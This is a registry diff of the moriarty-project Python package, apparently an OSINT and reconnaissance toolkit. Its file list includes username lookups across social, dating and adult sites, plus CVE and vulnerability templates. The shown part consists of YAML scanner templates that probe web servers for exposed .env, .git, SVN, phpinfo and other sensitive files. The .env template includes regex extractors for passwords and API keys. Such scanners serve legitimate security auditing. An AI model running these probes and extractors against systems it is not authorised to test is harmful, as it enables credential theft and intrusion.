moriarty-project 0.1.6__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- moriarty/__init__.py +5 -0
- moriarty/adapters/__init__.py +0 -0
- moriarty/agent/__init__.py +0 -0
- moriarty/assets/modules/.gitkeep +0 -0
- moriarty/assets/modules/asia/douban.yaml +19 -0
- moriarty/assets/modules/asia/kakao.yaml +19 -0
- moriarty/assets/modules/asia/line.yaml +19 -0
- moriarty/assets/modules/asia/mixi.yaml +19 -0
- moriarty/assets/modules/asia/naver.yaml +19 -0
- moriarty/assets/modules/asia/qq.yaml +19 -0
- moriarty/assets/modules/asia/vk.yaml +19 -0
- moriarty/assets/modules/asia/wechat.yaml +19 -0
- moriarty/assets/modules/asia/weibo.yaml +19 -0
- moriarty/assets/modules/asia/xiaohongshu.yaml +19 -0
- moriarty/assets/modules/behance.yaml +47 -0
- moriarty/assets/modules/business/crunchbase.yaml +27 -0
- moriarty/assets/modules/business/fiverr.yaml +32 -0
- moriarty/assets/modules/business/freelancer.yaml +27 -0
- moriarty/assets/modules/business/glassdoor.yaml +27 -0
- moriarty/assets/modules/business/guru.yaml +26 -0
- moriarty/assets/modules/business/indeed.yaml +25 -0
- moriarty/assets/modules/business/monster.yaml +25 -0
- moriarty/assets/modules/business/peopleperhour.yaml +26 -0
- moriarty/assets/modules/business/toptal.yaml +28 -0
- moriarty/assets/modules/business/upwork.yaml +27 -0
- moriarty/assets/modules/business/ziprecruiter.yaml +25 -0
- moriarty/assets/modules/content/buymeacoffee.yaml +27 -0
- moriarty/assets/modules/content/gumroad.yaml +27 -0
- moriarty/assets/modules/content/ko-fi.yaml +32 -0
- moriarty/assets/modules/content/onlyfans.yaml +27 -0
- moriarty/assets/modules/content/patreon.yaml +33 -0
- moriarty/assets/modules/content/substack.yaml +32 -0
- moriarty/assets/modules/creative/500px.yaml +31 -0
- moriarty/assets/modules/creative/artstation.yaml +33 -0
- moriarty/assets/modules/creative/deviantart.yaml +32 -0
- moriarty/assets/modules/creative/flickr.yaml +31 -0
- moriarty/assets/modules/creative/pexels.yaml +26 -0
- moriarty/assets/modules/creative/unsplash.yaml +26 -0
- moriarty/assets/modules/creative/vimeo.yaml +31 -0
- moriarty/assets/modules/crypto/binance.yaml +27 -0
- moriarty/assets/modules/crypto/bitcointalk.yaml +33 -0
- moriarty/assets/modules/crypto/coinbase.yaml +26 -0
- moriarty/assets/modules/crypto/etherscan.yaml +32 -0
- moriarty/assets/modules/crypto/foundation.yaml +28 -0
- moriarty/assets/modules/crypto/kraken.yaml +27 -0
- moriarty/assets/modules/crypto/mirror.yaml +27 -0
- moriarty/assets/modules/crypto/niftygateway.yaml +26 -0
- moriarty/assets/modules/crypto/opensea.yaml +32 -0
- moriarty/assets/modules/crypto/rarible.yaml +27 -0
- moriarty/assets/modules/crypto/superrare.yaml +29 -0
- moriarty/assets/modules/dating/bumble.yaml +25 -0
- moriarty/assets/modules/dating/grindr.yaml +27 -0
- moriarty/assets/modules/dating/happn.yaml +25 -0
- moriarty/assets/modules/dating/her.yaml +27 -0
- moriarty/assets/modules/dating/hinge.yaml +25 -0
- moriarty/assets/modules/dating/match.yaml +25 -0
- moriarty/assets/modules/dating/meetme.yaml +27 -0
- moriarty/assets/modules/dating/okcupid.yaml +25 -0
- moriarty/assets/modules/dating/pof.yaml +25 -0
- moriarty/assets/modules/dating/tinder.yaml +25 -0
- moriarty/assets/modules/dating-nsfw/adultfriendfinder.yaml +28 -0
- moriarty/assets/modules/dating-nsfw/ashley-madison.yaml +26 -0
- moriarty/assets/modules/design/adobe-portfolio.yaml +27 -0
- moriarty/assets/modules/design/carbonmade.yaml +27 -0
- moriarty/assets/modules/design/cgsociety.yaml +27 -0
- moriarty/assets/modules/design/coroflot.yaml +27 -0
- moriarty/assets/modules/design/figma.yaml +27 -0
- moriarty/assets/modules/design/sketch.yaml +26 -0
- moriarty/assets/modules/dev/bitbucket.yaml +35 -0
- moriarty/assets/modules/dev/codeforces.yaml +32 -0
- moriarty/assets/modules/dev/codepen.yaml +34 -0
- moriarty/assets/modules/dev/hackerone.yaml +32 -0
- moriarty/assets/modules/dev/hackthebox.yaml +27 -0
- moriarty/assets/modules/dev/huggingface.yaml +27 -0
- moriarty/assets/modules/dev/kaggle.yaml +32 -0
- moriarty/assets/modules/dev/leetcode.yaml +32 -0
- moriarty/assets/modules/dev/replit.yaml +31 -0
- moriarty/assets/modules/dribbble.yaml +53 -0
- moriarty/assets/modules/ecommerce/etsy.yaml +32 -0
- moriarty/assets/modules/education/duolingo.yaml +32 -0
- moriarty/assets/modules/education/edx.yaml +26 -0
- moriarty/assets/modules/education/khanacademy.yaml +26 -0
- moriarty/assets/modules/education/lynda.yaml +27 -0
- moriarty/assets/modules/education/memrise.yaml +27 -0
- moriarty/assets/modules/education/pluralsight.yaml +27 -0
- moriarty/assets/modules/education/skillshare.yaml +27 -0
- moriarty/assets/modules/education/udacity.yaml +27 -0
- moriarty/assets/modules/email/github_email.yaml +40 -0
- moriarty/assets/modules/email/gravatar.yaml +23 -0
- moriarty/assets/modules/europe/badoo.yaml +19 -0
- moriarty/assets/modules/europe/lovoo.yaml +19 -0
- moriarty/assets/modules/europe/myspace.yaml +19 -0
- moriarty/assets/modules/europe/netlog.yaml +19 -0
- moriarty/assets/modules/europe/ok.yaml +19 -0
- moriarty/assets/modules/europe/skyrock.yaml +19 -0
- moriarty/assets/modules/europe/studivz.yaml +19 -0
- moriarty/assets/modules/europe/tuenti.yaml +19 -0
- moriarty/assets/modules/europe/viadeo.yaml +19 -0
- moriarty/assets/modules/europe/xing.yaml +19 -0
- moriarty/assets/modules/fitness/fitbit.yaml +27 -0
- moriarty/assets/modules/fitness/garmin.yaml +27 -0
- moriarty/assets/modules/fitness/myfitnesspal.yaml +27 -0
- moriarty/assets/modules/fitness/strava.yaml +33 -0
- moriarty/assets/modules/fitness/zwift.yaml +28 -0
- moriarty/assets/modules/food/allrecipes.yaml +27 -0
- moriarty/assets/modules/food/tasty.yaml +27 -0
- moriarty/assets/modules/food/yelp.yaml +32 -0
- moriarty/assets/modules/food/zomato.yaml +28 -0
- moriarty/assets/modules/forums/4chan.yaml +26 -0
- moriarty/assets/modules/forums/8kun.yaml +26 -0
- moriarty/assets/modules/forums/9gag.yaml +26 -0
- moriarty/assets/modules/forums/discourse.yaml +26 -0
- moriarty/assets/modules/forums/disqus.yaml +31 -0
- moriarty/assets/modules/forums/hackernews.yaml +32 -0
- moriarty/assets/modules/forums/launchpad.yaml +27 -0
- moriarty/assets/modules/forums/phpbb.yaml +25 -0
- moriarty/assets/modules/forums/quora.yaml +32 -0
- moriarty/assets/modules/forums/serverfault.yaml +27 -0
- moriarty/assets/modules/forums/slashdot.yaml +28 -0
- moriarty/assets/modules/forums/stackexchange.yaml +32 -0
- moriarty/assets/modules/forums/superuser.yaml +27 -0
- moriarty/assets/modules/forums/vbulletin.yaml +25 -0
- moriarty/assets/modules/forums/xenforo.yaml +25 -0
- moriarty/assets/modules/forums-nsfw/kiwifarms.yaml +25 -0
- moriarty/assets/modules/forums-nsfw/lolcow.yaml +26 -0
- moriarty/assets/modules/gaming/apextracker.yaml +27 -0
- moriarty/assets/modules/gaming/battlenet.yaml +26 -0
- moriarty/assets/modules/gaming/chess.yaml +30 -0
- moriarty/assets/modules/gaming/discord-public.yaml +27 -0
- moriarty/assets/modules/gaming/dotabuff.yaml +32 -0
- moriarty/assets/modules/gaming/epicgames.yaml +25 -0
- moriarty/assets/modules/gaming/faceit.yaml +33 -0
- moriarty/assets/modules/gaming/fortnitetracker.yaml +32 -0
- moriarty/assets/modules/gaming/gog.yaml +26 -0
- moriarty/assets/modules/gaming/itch.yaml +32 -0
- moriarty/assets/modules/gaming/kongregate.yaml +25 -0
- moriarty/assets/modules/gaming/minecraft.yaml +31 -0
- moriarty/assets/modules/gaming/opgg.yaml +32 -0
- moriarty/assets/modules/gaming/origin.yaml +26 -0
- moriarty/assets/modules/gaming/playstation.yaml +30 -0
- moriarty/assets/modules/gaming/roblox.yaml +31 -0
- moriarty/assets/modules/gaming/xbox.yaml +25 -0
- moriarty/assets/modules/github.yaml +68 -0
- moriarty/assets/modules/gitlab.yaml +60 -0
- moriarty/assets/modules/instagram.yaml +48 -0
- moriarty/assets/modules/latam/fotolog.yaml +27 -0
- moriarty/assets/modules/latam/orkut.yaml +26 -0
- moriarty/assets/modules/latam/taringa.yaml +27 -0
- moriarty/assets/modules/learning/coursera.yaml +26 -0
- moriarty/assets/modules/learning/udemy.yaml +26 -0
- moriarty/assets/modules/linkedin.yaml +40 -0
- moriarty/assets/modules/marketplaces/depop.yaml +28 -0
- moriarty/assets/modules/marketplaces/ebay.yaml +32 -0
- moriarty/assets/modules/marketplaces/grailed.yaml +27 -0
- moriarty/assets/modules/marketplaces/mercari.yaml +26 -0
- moriarty/assets/modules/marketplaces/poshmark.yaml +27 -0
- moriarty/assets/modules/marketplaces/reverb.yaml +27 -0
- moriarty/assets/modules/marketplaces/vinted.yaml +28 -0
- moriarty/assets/modules/medium.yaml +44 -0
- moriarty/assets/modules/music/audiomack.yaml +26 -0
- moriarty/assets/modules/music/bandcamp.yaml +30 -0
- moriarty/assets/modules/music/beatport.yaml +28 -0
- moriarty/assets/modules/music/deezer.yaml +26 -0
- moriarty/assets/modules/music/discogs.yaml +32 -0
- moriarty/assets/modules/music/genius.yaml +26 -0
- moriarty/assets/modules/music/lastfm.yaml +30 -0
- moriarty/assets/modules/music/mixcloud.yaml +26 -0
- moriarty/assets/modules/music/reverbnation.yaml +31 -0
- moriarty/assets/modules/music/soundcloud.yaml +31 -0
- moriarty/assets/modules/music/spotify.yaml +26 -0
- moriarty/assets/modules/music/tidal.yaml +26 -0
- moriarty/assets/modules/nsfw/adultwork.yaml +27 -0
- moriarty/assets/modules/nsfw/bongacams.yaml +28 -0
- moriarty/assets/modules/nsfw/cam4.yaml +28 -0
- moriarty/assets/modules/nsfw/chaturbate.yaml +28 -0
- moriarty/assets/modules/nsfw/clips4sale.yaml +27 -0
- moriarty/assets/modules/nsfw/extralunchmoney.yaml +27 -0
- moriarty/assets/modules/nsfw/fansly.yaml +28 -0
- moriarty/assets/modules/nsfw/fetlife.yaml +28 -0
- moriarty/assets/modules/nsfw/iwantclips.yaml +27 -0
- moriarty/assets/modules/nsfw/justforfans.yaml +28 -0
- moriarty/assets/modules/nsfw/loyalfans.yaml +28 -0
- moriarty/assets/modules/nsfw/manyvids.yaml +27 -0
- moriarty/assets/modules/nsfw/myfreecams.yaml +28 -0
- moriarty/assets/modules/nsfw/niteflirt.yaml +26 -0
- moriarty/assets/modules/nsfw/pornhub.yaml +32 -0
- moriarty/assets/modules/nsfw/redtube.yaml +27 -0
- moriarty/assets/modules/nsfw/stripchat.yaml +28 -0
- moriarty/assets/modules/nsfw/xhamster.yaml +27 -0
- moriarty/assets/modules/nsfw/xvideos.yaml +27 -0
- moriarty/assets/modules/nsfw/youporn.yaml +27 -0
- moriarty/assets/modules/photography/eyeem.yaml +25 -0
- moriarty/assets/modules/photography/fotki.yaml +25 -0
- moriarty/assets/modules/photography/photobucket.yaml +26 -0
- moriarty/assets/modules/photography/smugmug.yaml +25 -0
- moriarty/assets/modules/photography/vsco.yaml +27 -0
- moriarty/assets/modules/pinterest.yaml +40 -0
- moriarty/assets/modules/podcasts/anchor.yaml +26 -0
- moriarty/assets/modules/podcasts/castbox.yaml +26 -0
- moriarty/assets/modules/podcasts/podbean.yaml +26 -0
- moriarty/assets/modules/professional/about.yaml +31 -0
- moriarty/assets/modules/professional/academia.yaml +27 -0
- moriarty/assets/modules/professional/angellist.yaml +27 -0
- moriarty/assets/modules/professional/calendly.yaml +26 -0
- moriarty/assets/modules/professional/issuu.yaml +27 -0
- moriarty/assets/modules/professional/mendeley.yaml +27 -0
- moriarty/assets/modules/professional/notion.yaml +27 -0
- moriarty/assets/modules/professional/orcid.yaml +27 -0
- moriarty/assets/modules/professional/producthunt.yaml +31 -0
- moriarty/assets/modules/professional/researchgate.yaml +32 -0
- moriarty/assets/modules/professional/scribd.yaml +27 -0
- moriarty/assets/modules/professional/slideshare.yaml +31 -0
- moriarty/assets/modules/professional/trello.yaml +26 -0
- moriarty/assets/modules/professional/typeform.yaml +27 -0
- moriarty/assets/modules/reddit.yaml +46 -0
- moriarty/assets/modules/regional/amino.yaml +27 -0
- moriarty/assets/modules/regional/ask-fm.yaml +32 -0
- moriarty/assets/modules/regional/babycenter.yaml +26 -0
- moriarty/assets/modules/regional/cafemom.yaml +27 -0
- moriarty/assets/modules/regional/care2.yaml +27 -0
- moriarty/assets/modules/regional/diaspora.yaml +26 -0
- moriarty/assets/modules/regional/ello.yaml +27 -0
- moriarty/assets/modules/regional/gaia.yaml +27 -0
- moriarty/assets/modules/regional/habbo.yaml +27 -0
- moriarty/assets/modules/regional/imvu.yaml +27 -0
- moriarty/assets/modules/regional/lemmy.yaml +27 -0
- moriarty/assets/modules/regional/peertube.yaml +26 -0
- moriarty/assets/modules/regional/pixelfed.yaml +27 -0
- moriarty/assets/modules/regional/plurk.yaml +26 -0
- moriarty/assets/modules/regional/recroom.yaml +27 -0
- moriarty/assets/modules/regional/secondlife.yaml +26 -0
- moriarty/assets/modules/regional/vine-archive.yaml +27 -0
- moriarty/assets/modules/regional/vrchat.yaml +27 -0
- moriarty/assets/modules/regional/weheartit.yaml +27 -0
- moriarty/assets/modules/social/anilist.yaml +27 -0
- moriarty/assets/modules/social/beacons.yaml +26 -0
- moriarty/assets/modules/social/blogger.yaml +27 -0
- moriarty/assets/modules/social/crunchyroll.yaml +27 -0
- moriarty/assets/modules/social/discord.yaml +27 -0
- moriarty/assets/modules/social/dreamwidth.yaml +26 -0
- moriarty/assets/modules/social/facebook.yaml +34 -0
- moriarty/assets/modules/social/goodreads.yaml +32 -0
- moriarty/assets/modules/social/imdb.yaml +27 -0
- moriarty/assets/modules/social/kitsu.yaml +27 -0
- moriarty/assets/modules/social/letterboxd.yaml +32 -0
- moriarty/assets/modules/social/linktree.yaml +26 -0
- moriarty/assets/modules/social/livejournal.yaml +27 -0
- moriarty/assets/modules/social/mastodon.yaml +30 -0
- moriarty/assets/modules/social/minds.yaml +25 -0
- moriarty/assets/modules/social/myanimelist.yaml +32 -0
- moriarty/assets/modules/social/ravelry.yaml +27 -0
- moriarty/assets/modules/social/snapchat.yaml +25 -0
- moriarty/assets/modules/social/telegram.yaml +35 -0
- moriarty/assets/modules/social/tiktok.yaml +35 -0
- moriarty/assets/modules/social/trakt.yaml +28 -0
- moriarty/assets/modules/social/wattpad.yaml +32 -0
- moriarty/assets/modules/social/wordpress-com.yaml +26 -0
- moriarty/assets/modules/sports/espn.yaml +26 -0
- moriarty/assets/modules/sports/untappd.yaml +32 -0
- moriarty/assets/modules/stackoverflow.yaml +47 -0
- moriarty/assets/modules/steam.yaml +47 -0
- moriarty/assets/modules/streaming/caffeine.yaml +25 -0
- moriarty/assets/modules/streaming/dlive.yaml +27 -0
- moriarty/assets/modules/streaming/trovo.yaml +25 -0
- moriarty/assets/modules/travel/airbnb.yaml +26 -0
- moriarty/assets/modules/travel/booking.yaml +26 -0
- moriarty/assets/modules/travel/couchsurfing.yaml +27 -0
- moriarty/assets/modules/travel/tripadvisor.yaml +32 -0
- moriarty/assets/modules/tumblr.yaml +40 -0
- moriarty/assets/modules/twitch.yaml +48 -0
- moriarty/assets/modules/twitter.yaml +39 -0
- moriarty/assets/modules/youtube.yaml +42 -0
- moriarty/assets/templates/cves/CVE-2017-5638.yaml +27 -0
- moriarty/assets/templates/cves/CVE-2018-7600.yaml +30 -0
- moriarty/assets/templates/cves/CVE-2019-11510.yaml +27 -0
- moriarty/assets/templates/cves/CVE-2019-19781.yaml +28 -0
- moriarty/assets/templates/cves/CVE-2020-14882.yaml +28 -0
- moriarty/assets/templates/cves/CVE-2020-14883.yaml +29 -0
- moriarty/assets/templates/cves/CVE-2020-3452.yaml +28 -0
- moriarty/assets/templates/cves/CVE-2020-5902.yaml +28 -0
- moriarty/assets/templates/cves/CVE-2021-21972.yaml +31 -0
- moriarty/assets/templates/cves/CVE-2021-21985.yaml +28 -0
- moriarty/assets/templates/cves/CVE-2021-26084.yaml +30 -0
- moriarty/assets/templates/cves/CVE-2021-41773.yaml +25 -0
- moriarty/assets/templates/cves/CVE-2021-42013.yaml +28 -0
- moriarty/assets/templates/cves/CVE-2021-44228.yaml +27 -0
- moriarty/assets/templates/cves/CVE-2022-0185.yaml +21 -0
- moriarty/assets/templates/cves/CVE-2022-1388.yaml +36 -0
- moriarty/assets/templates/cves/CVE-2022-22954.yaml +28 -0
- moriarty/assets/templates/cves/CVE-2022-22965.yaml +31 -0
- moriarty/assets/templates/cves/CVE-2022-26134.yaml +27 -0
- moriarty/assets/templates/cves/CVE-2023-22515.yaml +27 -0
- moriarty/assets/templates/cves/CVE-2023-22527.yaml +29 -0
- moriarty/assets/templates/cves/CVE-2023-23752.yaml +33 -0
- moriarty/assets/templates/cves/CVE-2023-27350.yaml +27 -0
- moriarty/assets/templates/cves/CVE-2023-2868.yaml +27 -0
- moriarty/assets/templates/cves/CVE-2023-34362.yaml +27 -0
- moriarty/assets/templates/cves/CVE-2023-3519.yaml +28 -0
- moriarty/assets/templates/cves/CVE-2023-4966.yaml +27 -0
- moriarty/assets/templates/default-logins/admin-weak.yaml +40 -0
- moriarty/assets/templates/default-logins/wordpress-default.yaml +38 -0
- moriarty/assets/templates/exposures/aws-credentials.yaml +35 -0
- moriarty/assets/templates/exposures/backup-files.yaml +36 -0
- moriarty/assets/templates/exposures/database-files.yaml +34 -0
- moriarty/assets/templates/exposures/docker-exposed.yaml +31 -0
- moriarty/assets/templates/exposures/env-exposed.yaml +41 -0
- moriarty/assets/templates/exposures/git-exposed.yaml +41 -0
- moriarty/assets/templates/exposures/phpinfo.yaml +36 -0
- moriarty/assets/templates/exposures/svn-exposed.yaml +28 -0
- moriarty/assets/templates/fuzzing/api-endpoints.yaml +39 -0
- moriarty/assets/templates/fuzzing/common-files.yaml +37 -0
- moriarty/assets/templates/fuzzing/open-redirect-fuzz.yaml +35 -0
- moriarty/assets/templates/fuzzing/xss-search-fuzz.yaml +29 -0
- moriarty/assets/templates/git-config.yaml +18 -0
- moriarty/assets/templates/misconfigurations/cors-misconfiguration.yaml +30 -0
- moriarty/assets/templates/misconfigurations/debug-enabled.yaml +29 -0
- moriarty/assets/templates/misconfigurations/directory-listing.yaml +33 -0
- moriarty/assets/templates/misconfigurations/jwt-none-algo.yaml +30 -0
- moriarty/assets/templates/misconfigurations/ssl-tls-weak.yaml +23 -0
- moriarty/assets/templates/vulnerabilities/lfi-basic.yaml +31 -0
- moriarty/assets/templates/vulnerabilities/open-redirect.yaml +31 -0
- moriarty/assets/templates/vulnerabilities/rce-basic.yaml +34 -0
- moriarty/assets/templates/vulnerabilities/sqli-error.yaml +39 -0
- moriarty/assets/templates/vulnerabilities/ssrf-basic.yaml +31 -0
- moriarty/assets/templates/vulnerabilities/xss-reflected.yaml +38 -0
- moriarty/assets/templates/vulnerabilities/xxe-basic.yaml +30 -0
- moriarty/assets/wordlists/subdomains-1000.txt +1063 -0
- moriarty/cli/__init__.py +3 -0
- moriarty/cli/app.py +120 -0
- moriarty/cli/async_utils.py +19 -0
- moriarty/cli/dns.py +83 -0
- moriarty/cli/domain_cmd.py +572 -0
- moriarty/cli/email.py +383 -0
- moriarty/cli/email_investigate.py +224 -0
- moriarty/cli/intelligence.py +329 -0
- moriarty/cli/output.py +62 -0
- moriarty/cli/rdap.py +94 -0
- moriarty/cli/state.py +38 -0
- moriarty/cli/tls.py +91 -0
- moriarty/cli/user.py +227 -0
- moriarty/core/cache_backend.py +223 -0
- moriarty/core/config_manager.py +303 -0
- moriarty/correlator/__init__.py +0 -0
- moriarty/data/__init__.py +81 -0
- moriarty/data/ioc/__init__.py +142 -0
- moriarty/data/ioc/matcher.py +254 -0
- moriarty/data/ioc/types.py +267 -0
- moriarty/data/local_intelligence.py +507 -0
- moriarty/data/signature_loaders/__init__.py +103 -0
- moriarty/data/signature_loaders/base.py +54 -0
- moriarty/data/signature_loaders/ioc_feed.py +356 -0
- moriarty/data/signature_loaders/wappalyzer.py +112 -0
- moriarty/dsl/__init__.py +0 -0
- moriarty/dsl/loader.py +99 -0
- moriarty/dsl/schema.py +47 -0
- moriarty/export/__init__.py +0 -0
- moriarty/intelligence/__init__.py +27 -0
- moriarty/intelligence/__main__.py +150 -0
- moriarty/intelligence/config.py +395 -0
- moriarty/intelligence/ioc.py +267 -0
- moriarty/intelligence/signatures.py +550 -0
- moriarty/intelligence/storage.py +501 -0
- moriarty/interop/__init__.py +0 -0
- moriarty/logging/__init__.py +0 -0
- moriarty/logging/config.py +47 -0
- moriarty/models/__init__.py +16 -0
- moriarty/models/assertion.py +24 -0
- moriarty/models/entity.py +22 -0
- moriarty/models/evidence.py +37 -0
- moriarty/models/relation.py +24 -0
- moriarty/models/types.py +28 -0
- moriarty/modules/__init__.py +0 -0
- moriarty/modules/avatar_hash.py +184 -0
- moriarty/modules/directory_fuzzer.py +322 -0
- moriarty/modules/dns_scan.py +40 -0
- moriarty/modules/domain_scanner.py +620 -0
- moriarty/modules/email_check.py +98 -0
- moriarty/modules/email_investigate.py +267 -0
- moriarty/modules/email_security.py +274 -0
- moriarty/modules/googlemaps_lookup.py +106 -0
- moriarty/modules/headless_executor.py +201 -0
- moriarty/modules/orchestrator.py +60 -0
- moriarty/modules/passive_recon.py +444 -0
- moriarty/modules/phone_extractor.py +151 -0
- moriarty/modules/pipeline_orchestrator.py +726 -0
- moriarty/modules/port_scanner.py +129 -0
- moriarty/modules/rdap.py +61 -0
- moriarty/modules/rdap_extended.py +188 -0
- moriarty/modules/stealth_mode.py +610 -0
- moriarty/modules/subdomain_discovery.py +595 -0
- moriarty/modules/technology_profiler.py +361 -0
- moriarty/modules/template_executor.py +239 -0
- moriarty/modules/template_scanner.py +1048 -0
- moriarty/modules/tls_scan.py +46 -0
- moriarty/modules/tls_validator.py +188 -0
- moriarty/modules/vuln_scanner.py +483 -0
- moriarty/modules/waf_detector.py +585 -0
- moriarty/modules/wayback_discovery.py +234 -0
- moriarty/modules/web_crawler.py +163 -0
- moriarty/net/__init__.py +0 -0
- moriarty/net/dns_cache.py +175 -0
- moriarty/net/dns_client.py +188 -0
- moriarty/net/rdap_client.py +52 -0
- moriarty/net/smtp_client.py +114 -0
- moriarty/net/tls_client.py +111 -0
- moriarty/parsers/__init__.py +0 -0
- moriarty/parsers/html_parser.py +136 -0
- moriarty/tests/__init__.py +0 -0
- moriarty/tests/test_email_service.py +17 -0
- moriarty/tests/test_models.py +46 -0
- moriarty/tests/test_orchestrator.py +30 -0
- moriarty/tests/test_tls_client.py +18 -0
- moriarty_project-0.1.6.dist-info/METADATA +388 -0
- moriarty_project-0.1.6.dist-info/RECORD +418 -0
- moriarty_project-0.1.6.dist-info/WHEEL +4 -0
- moriarty_project-0.1.6.dist-info/entry_points.txt +2 -0
@@ -0,0 +1,41 @@
|
|
1
|
+
id: env-exposed
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: Environment File Exposure
|
5
|
+
author: moriarty
|
6
|
+
severity: critical
|
7
|
+
description: Detects exposed .env files containing sensitive credentials
|
8
|
+
tags: env,exposure,secrets
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/.env"
|
14
|
+
- "/.env.local"
|
15
|
+
- "/.env.production"
|
16
|
+
- "/.env.dev"
|
17
|
+
- "/.env.backup"
|
18
|
+
- "/config/.env"
|
19
|
+
|
20
|
+
matchers-condition: and
|
21
|
+
matchers:
|
22
|
+
- type: word
|
23
|
+
words:
|
24
|
+
- "DB_PASSWORD"
|
25
|
+
- "API_KEY"
|
26
|
+
- "SECRET"
|
27
|
+
- "AWS_"
|
28
|
+
- "STRIPE_"
|
29
|
+
condition: or
|
30
|
+
|
31
|
+
- type: status
|
32
|
+
status:
|
33
|
+
- 200
|
34
|
+
|
35
|
+
extractors:
|
36
|
+
- type: regex
|
37
|
+
name: credentials
|
38
|
+
regex:
|
39
|
+
- "([A-Z_]+)=([^\\n]+)"
|
40
|
+
- "password['\"]?\\s*[:=]\\s*['\"]?([^\\n'\"]+)"
|
41
|
+
- "api[_-]?key['\"]?\\s*[:=]\\s*['\"]?([^\\n'\"]+)"
|
@@ -0,0 +1,41 @@
|
|
1
|
+
id: git-exposed
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: Git Repository Exposure
|
5
|
+
author: moriarty
|
6
|
+
severity: high
|
7
|
+
description: Detects exposed .git directories that can leak sensitive information
|
8
|
+
tags: git,exposure,misconfiguration
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/.git/config"
|
14
|
+
- "/.git/HEAD"
|
15
|
+
- "/.git/index"
|
16
|
+
- "/.git/logs/HEAD"
|
17
|
+
|
18
|
+
matchers-condition: or
|
19
|
+
matchers:
|
20
|
+
- type: word
|
21
|
+
words:
|
22
|
+
- "[core]"
|
23
|
+
- "[remote"
|
24
|
+
- "repositoryformatversion"
|
25
|
+
condition: or
|
26
|
+
|
27
|
+
- type: word
|
28
|
+
words:
|
29
|
+
- "ref:"
|
30
|
+
- "refs/heads"
|
31
|
+
|
32
|
+
- type: status
|
33
|
+
status:
|
34
|
+
- 200
|
35
|
+
|
36
|
+
extractors:
|
37
|
+
- type: regex
|
38
|
+
name: repo_url
|
39
|
+
regex:
|
40
|
+
- 'url = (.+)'
|
41
|
+
- 'https?://[^\s]+'
|
@@ -0,0 +1,36 @@
|
|
1
|
+
id: phpinfo-exposure
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: PHPInfo Page Exposure
|
5
|
+
author: moriarty
|
6
|
+
severity: medium
|
7
|
+
description: Detects exposed phpinfo() pages
|
8
|
+
tags: php,exposure,info-disclosure
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/phpinfo.php"
|
14
|
+
- "/info.php"
|
15
|
+
- "/test.php"
|
16
|
+
- "/php.php"
|
17
|
+
- "/infophp.php"
|
18
|
+
- "/i.php"
|
19
|
+
|
20
|
+
matchers-condition: and
|
21
|
+
matchers:
|
22
|
+
- type: word
|
23
|
+
words:
|
24
|
+
- "PHP Version"
|
25
|
+
- "phpinfo()"
|
26
|
+
condition: or
|
27
|
+
|
28
|
+
- type: status
|
29
|
+
status:
|
30
|
+
- 200
|
31
|
+
|
32
|
+
extractors:
|
33
|
+
- type: regex
|
34
|
+
name: php_version
|
35
|
+
regex:
|
36
|
+
- "PHP Version ([0-9.]+)"
|
@@ -0,0 +1,28 @@
|
|
1
|
+
id: svn-exposed
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: SVN Repository Exposure
|
5
|
+
author: moriarty
|
6
|
+
severity: high
|
7
|
+
description: Detects exposed SVN repositories
|
8
|
+
tags: svn,exposure,vcs
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/.svn/entries"
|
14
|
+
- "/.svn/wc.db"
|
15
|
+
- "/.svn/all-wcprops"
|
16
|
+
|
17
|
+
matchers:
|
18
|
+
- type: word
|
19
|
+
words:
|
20
|
+
- "svn:special"
|
21
|
+
- "svn:externals"
|
22
|
+
- "dir"
|
23
|
+
- "file"
|
24
|
+
condition: or
|
25
|
+
|
26
|
+
- type: status
|
27
|
+
status:
|
28
|
+
- 200
|
@@ -0,0 +1,39 @@
|
|
1
|
+
id: api-endpoints-fuzz
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: API Endpoints Discovery
|
5
|
+
author: moriarty
|
6
|
+
severity: info
|
7
|
+
description: Discovers common API endpoints
|
8
|
+
tags: fuzzing,api
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/api"
|
14
|
+
- "/api/v1"
|
15
|
+
- "/api/v2"
|
16
|
+
- "/api/v3"
|
17
|
+
- "/v1/api"
|
18
|
+
- "/v2/api"
|
19
|
+
- "/rest"
|
20
|
+
- "/rest/v1"
|
21
|
+
- "/rest/api"
|
22
|
+
- "/graphql"
|
23
|
+
- "/graphiql"
|
24
|
+
- "/api/graphql"
|
25
|
+
- "/api-docs"
|
26
|
+
- "/swagger"
|
27
|
+
- "/swagger.json"
|
28
|
+
- "/swagger.yaml"
|
29
|
+
- "/swagger-ui"
|
30
|
+
- "/openapi.json"
|
31
|
+
- "/docs"
|
32
|
+
- "/redoc"
|
33
|
+
|
34
|
+
matchers:
|
35
|
+
- type: status
|
36
|
+
status:
|
37
|
+
- 200
|
38
|
+
- 401
|
39
|
+
- 403
|
@@ -0,0 +1,37 @@
|
|
1
|
+
id: common-files-fuzz
|
2
|
+
|
3
|
+
info:
|
4
|
+
name: Common Sensitive Files
|
5
|
+
author: moriarty
|
6
|
+
severity: medium
|
7
|
+
description: Fuzzes for common sensitive files
|
8
|
+
tags: fuzzing,files
|
9
|
+
|
10
|
+
requests:
|
11
|
+
- method: GET
|
12
|
+
path:
|
13
|
+
- "/robots.txt"
|
14
|
+
- "/sitemap.xml"
|
15
|
+
- "/.htaccess"
|
16
|
+
- "/.htpasswd"
|
17
|
+
- "/web.config"
|
18
|
+
- "/phpinfo.php"
|
19
|
+
- "/info.php"
|
20
|
+
- "/test.php"
|
21
|
+
- "/README.md"
|
22
|
+
- "/CHANGELOG.md"
|
23
|
+
- "/composer.json"
|
24
|
+
- "/package.json"
|
25
|
+
- "/.dockerignore"
|
26
|
+
- "/Dockerfile"
|
27
|
+
